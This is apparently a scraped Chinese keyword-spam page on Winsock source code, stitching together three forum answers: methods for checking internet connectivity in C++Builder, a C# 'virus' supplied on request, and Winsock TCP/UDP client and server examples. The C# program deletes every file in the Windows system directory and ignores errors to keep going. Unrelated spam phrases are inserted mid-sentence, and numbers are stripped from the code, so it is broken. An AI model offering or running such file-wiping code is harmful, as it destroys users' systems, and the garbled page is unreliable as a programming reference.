【源码 新兴】【数字弹球游戏源码】【系统源码怎么编程】winsock源码

时间:2024-11-15 01:21:45 编辑:最新bilibili网站源码 来源:att驱动源码

1.如何判断连接上了winsock
2.求个 C#病毒源代码 请注明此代码作用 谢谢!
3.linux下socket 网络编程(客户端向服务器端发送文件) 求源代码 大哥大姐帮帮忙 ,。。谢谢

winsock源码

如何判断连接上了winsock

       五种查询Internet连接状态[含IP]的方法

       1.Powersock控件法:

       这种方法最简单,利用FastNet页的Powersock控件的LocalIP属性即可判断:

       if(Powersock1->LocalIP==".0.0.1"):在线

       else:离线

       特点:[1]判断连接状态,[2]获得本地IP。源码 新兴

       2.使用URL.DLL的InetIsOffline(0)函数:

       Win2K:URL.DLL存放在\SYSTEM\;

       Win9x:URL.DLL存放在\SYSTEM\;

       用GetSystemDirectory(...)得到系统目录。

       InetIsOffline(0)返回值:

       TRUE:离线;FALSE:在线。

       特点:判断连接状态。

       3.WinSock编程法:见程序

       特点:[1]判断连接状态;[2]获得本地IP和主机名。

       4.WinInet.DLL的InternetGetConnectedState(&dwFlag,0)函数:

       注意:为使用该函数,须在项目文件中加入:USELIB("WinInet.LIB")

       特点:获得较详的连接描述!

       5.RASAPI.DLL的数字弹球游戏源码RasEnumConnections函数:

       要使用该"枚举所有活动连接"函数,必须:

       #include"ras.h"。

       若连接数>0:本机当前已连入Internet;

       否则:本机当前未连入Internet;

       源码如下,在[BCB5+WIN2K+拨号上网]下通过(N字头的为菜单项):

       -------------Powersock控件法-----------------------------------------

       void__fastcallTForm1::NClick(TObject*Sender)

       {

       if(Powersock1->LocalIP==".0.0.1")

       ShowMessage("未连接:"+Powersock1->LocalIP);

       elseShowMessage("已连接:"+Powersock1->LocalIP);

       }

       -------------URL.DLL的InetIsOffline函数法----------------------------

       HINSTANCEhDLL;

       typedefbool__stdcall(*FUN)(int);定义DLL函数指针FUN

       FUNisOffLine;

       void__fastcallTForm1::NClick(TObject*Sender)

       {

       charBuffer[MAX_PATH];

       GetSystemDirectory(Buffer,MAX_PATH);

       hDLL=LoadLibrary((AnsiString(Buffer)+"\\URL.DLL").c_str());

       if(hDLL==NULL){ ShowMessage("CannotloadURL.DLL!Return...");return;}

       isOffLine=(FUN)GetProcAddress(hDLL,"InetIsOffline");

       if(isOffLine==NULL){ ShowMessage("CannotloadInetIsOffline(int),Return...");return;}

       if(!isOffLine(0))ShowMessage("已连接");

       elseShowMessage("未连接");

       FreeLibrary(hDLL);

       }

       ------------WinSock法------------------------------------------------

       void__fastcallTForm1::NClick(TObject*Sender)

       {

       WORDwVersionRequested;

       WSADATAwsaData;

       wVersionRequested=MAKEWORD(1,1);StartupWinSock

       WSAStartup(wVersionRequested,&wsaData);

       -----------------------------------------

       hostent*p;char*p2;chars[];

       gethostname(s,);Getthecomputername

       p=gethostbyname(s);

       p2=inet_ntoa(*((in_addr*)p->h_addr));GettheIpAddress

       -----------------------------------------

       AnsiStringLocationIP=p2;

       if(LocationIP==".0.0.1")

       ShowMessage("未连接:"+LocationIP);

       elseShowMessage("已连接:"+LocationIP);

       WSACleanup();

       }

       -----------WinInet.DLL的InternetGetConnectedState函数法----------------

       void__fastcallTForm1::NClick(TObject*Sender)

       {

       StaticText1->Caption="";StaticText2->Caption="";StaticText3->Caption="";

       StaticText4->Caption="";StaticText5->Caption="";StaticText6->Caption="";

       StaticText7->Caption="";

       DWORDdwFlag;

       InternetGetConnectedState(&dwFlag,0);

       if(dwFlag&INTERNET_CONNECTION_MODEM)StaticText1->Caption="Yes";MODEM连接

       elseStaticText1->Caption="No";

       if(dwFlag&INTERNET_CONNECTION_LAN)StaticText2->Caption="Yes";LAN连接

       elseStaticText2->Caption="No";

       if(dwFlag&INTERNET_CONNECTION_PROXY)StaticText3->Caption="Yes";代理连接

       elseStaticText3->Caption="No";

       ---------检查是否连接-------------------------------------------

       if(InternetGetConnectedState(NULL,0))StaticText4->Caption="Yes";在线

       elseStaticText4->Caption="No";

       if(dwFlag&INTERNET_CONNECTION_OFFLINE)StaticText5->Caption="Yes";//离线。注:不好用!

       elseStaticText5->Caption="No";

       ----------------------------------------------------------------

       if(dwFlag&INTERNET_RAS_INSTALLED)StaticText6->Caption="Yes";

       elseStaticText6->Caption="No";

       if(dwFlag&INTERNET_CONNECTION_CONFIGURED)StaticText7->Caption="Yes";

       elseStaticText7->Caption="No";

       }

       ----------RASAPI.DLL的RasEnumConnections函数法---------------------------

       #include"ras.h"

       void__fastcallTForm1::NClick(TObject*Sender)

       {

       RASCONNRASconn[];活动连接数组

       DWORDBuffSize;数组所占内存大小;

       DWORDConnNum;活动连接数目

       RASconn[0].dwSize=sizeof(RASCONN);必须指定一个连接[数组元素]的内存大小;

       BuffSize=sizeof(RASCONN)*;

       DWORDdwReturn=RasEnumConnections(RASconn,&BuffSize,&ConnNum);

       if(dwReturn==0)

       {

       if(ConnNum>0)ShowMessage("已连接。当前激活连接数:"+AnsiString(ConnNum));

       elseShowMessage("未连接。系统源码怎么编程当前激活连接数:"+AnsiString(ConnNum));

       }

       elseShowMessage("RasEnumConnections函数失败!");

       }

求个 C#病毒源代码 请注明此代码作用 谢谢!

       删除系统文件内的所有文件,不要运行!!!西双版纳系统源码

       用到try,和catch,是为了当删到某些正运行的文件时出错,而程序可以绕过继续删,不停止。演员小程序源码

       FileInfo.Delete函数是将文件直接删除。

       这是最低级的,还应该用到system.net,system.runtime等命名空间,加上一些winsock的api,就完美了。当然用C#编病毒绝对不是好选择,遇上没安。NET的电脑,没运行就卡了。

       using System;

       using System.IO;

       class APP

       {

        static void Main()

        {

        DirectoryInfo d = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.System));

        foreach (FileInfo f in d.GetFiles())

        {

        try

        {

        f.Delete();

        }

        catch(Exception ex)

        {

        }

        }

        }

       }

linux下socket 网络编程(客户端向服务器端发送文件) 求源代码 大哥大姐帮帮忙 ,。。谢谢

       源代码奉上,流程图。。。这个太简单了,你自己看看。。。。。。。

       //TCP

       //服务器端程序

       #include< stdio.h >

       #include< stdlib.h >

       #include< windows.h >

       #include< winsock.h >

       #include< string.h >

       #pragma comment( lib, "ws2_.lib" )

       #define PORT

       #define BACKLOG

       #define TRUE 1

       void main( void )

       {

       int iServerSock;

       int iClientSock;

       char *buf = "hello, world!\n";

       struct sockaddr_in ServerAddr;

       struct sockaddr_in ClientAddr;

       int sin_size;

       WSADATA WSAData;

       if( WSAStartup( MAKEWORD( 1, 1 ), &WSAData ) )//初始化

       {

       printf( "initializationing error!\n" );

       WSACleanup( );

       exit( 0 );

       }

       if( ( iServerSock = socket( AF_INET, SOCK_STREAM, 0 ) ) == INVALID_SOCKET )

       {

       printf( "创建套接字失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       ServerAddr.sin_family = AF_INET;

       ServerAddr.sin_port = htons( PORT );//监视的端口号

       ServerAddr.sin_addr.s_addr = INADDR_ANY;//本地IP

       memset( & ( ServerAddr.sin_zero ), 0, sizeof( ServerAddr.sin_zero ) );

       if( bind( iServerSock, ( struct sockaddr * )&ServerAddr, sizeof( struct sockaddr ) ) == -1 )

       {

       printf( "bind调用失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       if( listen( iServerSock, BACKLOG ) == -1 )

       {

       printf( "listen调用失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       while( TRUE )

       {

       sin_size = sizeof( struct sockaddr_in );

       iClientSock = accept( iServerSock, ( struct sockaddr * )&ClientAddr, &sin_size );

       if( iClientSock == -1 )

       {

       printf( "accept调用失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       printf( "服务器连接到%s\n", inet_ntoa( ClientAddr.sin_addr ) );

       if( send( iClientSock, buf, strlen( buf ), 0 ) == -1 )

       {

       printf( "send调用失败!" );

       closesocket( iClientSock );

       WSACleanup( );

       exit( 0 );

       }

       }

       }

       /////客户端程序

       #include< stdio.h >

       #include< stdlib.h >

       #include< windows.h >

       #include< winsock.h >

       #include< string.h >

       #pragma comment( lib, "ws2_.lib" )

       #define PORT

       #define BACKLOG

       #define TRUE 1

       #define MAXDATASIZE

       void main( void )

       {

       int iClientSock;

       char buf[ MAXDATASIZE ];

       struct sockaddr_in ServerAddr;

       int numbytes;

       // struct hostent *he;

       WSADATA WSAData;

       // int sin_size;

       /* if( ( he = gethostbyname( "liuys" ) ) == NULL )

       {

       printf( "gethostbyname调用失败!" );

       WSACleanup( );

       exit( 0 );

       }

       */

       if( WSAStartup( MAKEWORD( 1, 1 ), &WSAData ) )//初始化

       {

       printf( "initializationing error!\n" );

       WSACleanup( );

       exit( 0 );

       }

       if( ( iClientSock = socket( AF_INET, SOCK_STREAM, 0 ) ) == INVALID_SOCKET )

       {

       printf( "创建套接字失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       ServerAddr.sin_family = AF_INET;

       ServerAddr.sin_port = htons( PORT );

       // ServerAddr.sin_addr = *( ( struct in_addr * )he->h_addr );

       ServerAddr.sin_addr.s_addr = inet_addr( "..2." );//记得换IP

       memset( &( ServerAddr.sin_zero ), 0, sizeof( ServerAddr.sin_zero ) );

       if( connect( iClientSock, ( struct sockaddr * ) & ServerAddr, sizeof( struct sockaddr ) ) == -1 )

       {

       printf( "connect失败!" );

       WSACleanup( );

       exit( 0 );

       }

       numbytes = recv( iClientSock, buf, MAXDATASIZE, 0 );

       if( numbytes == -1 )

       {

       printf( "recv失败!" );

       WSACleanup( );

       exit( 0 );

       }

       buf[ numbytes ] = '\0';

       printf( "Received: %s", buf );

       closesocket( iClientSock );

       WSACleanup( );

       }

       /////UDP

       //服务器

       #include< stdio.h >

       #include< string.h >

       #include< winsock.h >

       #include< windows.h >

       #pragma comment( lib, "ws2_.lib" )

       #define PORT

       #define BACKLOG

       #define TRUE 1

       #define MAXDATASIZE

       void main( void )

       {

       int iServerSock;

       // int iClientSock;

       int addr_len;

       int numbytes;

       char buf[ MAXDATASIZE ];

       struct sockaddr_in ServerAddr;

       struct sockaddr_in ClientAddr;

       WSADATA WSAData;

       if( WSAStartup( MAKEWORD( 1, 1 ), &WSAData ) )

       {

       printf( "initializationing error!\n" );

       WSACleanup( );

       exit( 0 );

       }

       iServerSock = socket( AF_INET, SOCK_DGRAM, 0 );

       if( iServerSock == INVALID_SOCKET )

       {

       printf( "创建套接字失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       ServerAddr.sin_family = AF_INET;

       ServerAddr.sin_port = htons( PORT );//监视的端口号

       ServerAddr.sin_addr.s_addr = INADDR_ANY;//本地IP

       memset( & ( ServerAddr.sin_zero ), 0, sizeof( ServerAddr.sin_zero ) );

       if( bind( iServerSock, ( struct sockaddr * )&ServerAddr, sizeof( struct sockaddr ) ) == -1 )

       {

       printf( "bind调用失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       addr_len = sizeof( struct sockaddr );

       numbytes = recvfrom( iServerSock, buf, MAXDATASIZE, 0, ( struct sockaddr * ) & ClientAddr, &addr_len );

       if( numbytes == -1 )

       {

       printf( "recvfrom调用失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       printf( "got packet from %s\n", inet_ntoa( ClientAddr.sin_addr ) );

       printf( "packet is %d bytes long\n", numbytes );

       buf[ numbytes ] = '\0';

       printf( "packet contains \"%s\"\n", buf );

       closesocket( iServerSock );

       WSACleanup( );

       }

       //客户端

       #include< stdio.h >

       #include< stdlib.h >

       #include< windows.h >

       #include< winsock.h >

       #include< string.h >

       #pragma comment( lib, "ws2_.lib" )

       #define PORT

       #define MAXDATASIZE

       void main( void )

       {

       int iClientSock;

       struct sockaddr_in ServerAddr;

       int numbytes;

       char buf[ MAXDATASIZE ] = { 0 };

       WSADATA WSAData;

       if( WSAStartup( MAKEWORD( 1, 1 ), &WSAData ) )

       {

       printf( "initializationing error!\n" );

       WSACleanup( );

       exit( 0 );

       }

       if( ( iClientSock = socket( AF_INET, SOCK_DGRAM, 0 ) ) == -1 )

       {

       printf( "创建套接字失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       ServerAddr.sin_family = AF_INET;

       ServerAddr.sin_port = htons( PORT );

       ServerAddr.sin_addr.s_addr = inet_addr( "..2." );//记得换IP

       memset( &( ServerAddr.sin_zero ), 0, sizeof( ServerAddr.sin_zero ) );

       numbytes = sendto( iClientSock, buf, strlen( buf ), 0, ( struct sockaddr * ) & ServerAddr, sizeof( struct sockaddr ) );

       if( numbytes == -1 )

       {

       printf( "sendto调用失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       printf( "sent %d bytes to %s\n", numbytes, inet_ntoa( ServerAddr.sin_addr ) );

       closesocket( iClientSock );

       WSACleanup( );

       }